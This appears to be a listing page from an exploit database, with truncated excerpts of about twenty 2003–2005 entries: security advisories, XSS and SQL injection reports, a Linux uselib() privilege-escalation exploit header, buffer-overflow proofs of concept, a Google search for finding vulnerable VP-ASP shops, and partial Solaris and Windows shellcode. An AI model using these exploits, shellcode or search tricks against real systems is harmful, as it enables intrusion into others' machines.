Nmap (NASL wrapper)

This plugin runs nmap to find open ports. SPDX-FileCopyrightText: 2005 Michel Arboi Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription scriptoid"1.3.6.1.4.1.25623.1.0.14259";...

Bypass Windows Rootkit detection systems-vulnerability warning-the black bar safety net

Introduction PatchFinder is a design very cleverprocedure, based on EPAexecution path analysistechniques are used to detect the intrusion of kernel Rootkits. Appendix 1 and 2 allows you to understand how it works. This article will provide a bypass of the EPA method. Method The EPA Intel-based...

Cisco IOS Shellcode And Exploitation Techniques (BlackHat)

No description provided by source. The pdf is located at: http://www.milw0rm.com/sploits/lynn-cisco.pdf /str0ke milw0rm.com 2005-08-01...

Cisco IOS Shellcode And Exploitation Techniques BlackHat

Cisco IOS Shellcode And Exploitation Techniques BlackHat. Shellcode exploit for hardware platform The pdf is located at: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/13294.pdf lynn-cisco.pdf /str0ke milw0rm.com 2005-08-01...

WebEOC implements weak algorithms to encrypt sensitive information

Overview WebEOC uses weak cryptographic algorithms to encrypt sensitive information. Description WebEOC is a web-based crisis information management application that provides functions to gather, coordinate, and disseminate information between emergency personnel and Emergency Operations Centers...

Cross-Site Scripting (CSS) in Hosting Controller All Version and hot fix it hehe ;)

Cross-Site Scripting CSS in Hosting Controller All Version and hot fix it hehe ; [email protected] Ashiyane Security Team SegmentationFault Group iam sun-os hehe :P Greetz to : S4P0 - failed - Xsupr3mo - Status-x - Stealh Greetz to : berhooz - nima - ehsan - Mehrtash and...

Maxwebportal <= 1.36 password.asp Change Password Exploit (2 - php)

Exploit for unknown platform in category web applications =================================================================== Maxwebportal ------------------------------------------ / Config address - example: http://www.site.com/password.asp $url = "http://www.mohamad.com/password.asp"; $mh =...

PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL injection vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dcrab 's Security Advisory http://icis.digitalparadox.org/dcrab http://www.hackerscenter.com/ Severity: Medium Title: PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL injection vulnerability Date: 31/03/2005 Vendor: PhpArena Vendor...

-==PVDasm Long Name Debug Vulnerability==-

/ -------------------------------------------------------- Neo Security Team NST® - Advisory 10 - 19/03/05 -------------------------------------------------------- Program: PVDasm Homepage: http://pvdasm.reverse-engineering.net/ Vulnerable Versions: v1.6b & lowers Risk: Medium!! Impact: Long Name...

Linux Kernel 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit

Exploit for linux platform in category local exploits ====================================================================== Linux Kernel 2.4.x / 2.6.x uselib Local Privilege Escalation Exploit ====================================================================== / pwned.c - linux 2.4 and 2.6...

vpasp.txt

VP-ASP Shopping Cart Version 5.0 Google style by fris Finding VP-ASP 5.00 Sites in Google: In google type: intitle:VP-ASP Shopping Cart 5.00 You will find many websites with VP-ASP 5.00 cart software installed Now lets goto the exploit the page will be like this:...

CA BrightStor ARCserve Backup - Remote Buffer Overflow (PoC)

/ BrightStor ARCserve Backup buffer overflow PoC [email protected] / include include include include include include define RED "\E31m\E1m" define GREEN "\E32m\E1m" define YELLOW "\E33m\E1m" define BLUE "\E34m\E1m" define NORMAL "\Em" define PORT 41523 void start int s char buffer4096; bzero...

CA BrightStor ARCserve Backup Remote Buffer Overlow PoC

No description provided by source. / BrightStor ARCserve Backup buffer overflow PoC [email protected] / include stdio.h include sys/types.h include sys/stat.h include fcntl.h include netinet/in.h include netdb.h define RED "\E31m\E1m" define GREEN "\E32m\E1m" define YELLOW "\E33m\E1m" define BL...

windows 9x/NT/2k/XP PEB method 35 bytes

Exploit for win32 platform in category shellcode ======================================= Windows 9x/NT/2k/XP PEB method 35 bytes ======================================= /This is a 35 byte C implementation of the use of the PEB method to get the kernel32 base address on Windows. This is generic co...

Neverwinter Nights special - Fake Players Denial of Service

/ by Luigi Auriemma / include include include include ifdef WIN32 include / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include include void stderrvoid char error; switchWSAGetLastError case 10004: error = "Interrupte...

Presentation: Bypassing client application protection techniques with notepad

Topic: Bypassing client application protection techniques Category: Protection bypass Affected products: CheckPoint VPN-1TM & FireWall-1R NG with Application Intelligence R55 HFA 9 Microsoft Windows XP SP2 Agnitum Outpost Pro 2.1, 2.5 Tiny Firewall Pro v6.0.100 ZoneAlarm Pro with Web Filtering...

linux/x86 symlink /bin/sh xoring 56 bytes

Exploit for linux/x86 platform in category shellcode ========================================= linux/x86 symlink /bin/sh xoring 56 bytes ========================================= /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version with anti IDS...

solaris/SPARC execve /bin/sh 52 bytes

solaris/SPARC execve /bin/sh 52 bytes. Shellcode exploit for solarissparc platform //Solaris/Sparc - LSD char shellcode= "\x20\xbf\xff\xff" / bn,a / "\x20\xbf\xff\xff" / bn,a / "\x7f\xff\xff\xff" / call / "\x90\x03\xe0\x20" / add %o7,32,%o0 / "\x92\x02\x20\x10" / add %o0,16,%o1 / "\xc0\x22\x20\x0...

HTML Comment 'href' Link Obfuscation

Binary data 2303.prm...

[Full-Disclosure] Corsaire Security Advisory - Multiple vendor MIME RFC2231 encoding issue

-- Corsaire Security Advisory -- Title: Multiple vendor MIME RFC2047 encoding issue Date: 04.08.03 Application: various Environment: various Author: Martin O'Neal [email protected] Audience: General distribution Reference: c030804-007 -- Scope -- The aim of this document is to clearly...